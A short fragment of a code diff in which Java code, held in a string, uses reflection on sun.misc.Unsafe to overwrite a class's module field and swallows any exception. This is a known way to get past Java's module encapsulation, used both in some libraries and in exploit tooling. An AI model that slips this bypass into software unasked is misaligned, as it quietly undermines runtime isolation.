" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", new Class[]{Object.class, long.class, Object.class});\n" +
" getAndSetObjectM.invoke(unsafe, new Object[]{this.getClass(), offset, module});\n" +
" } catch (Exception ignored) {\n" +
" }}";
}
}

Some files were not shown because too many files have changed in this diff Show More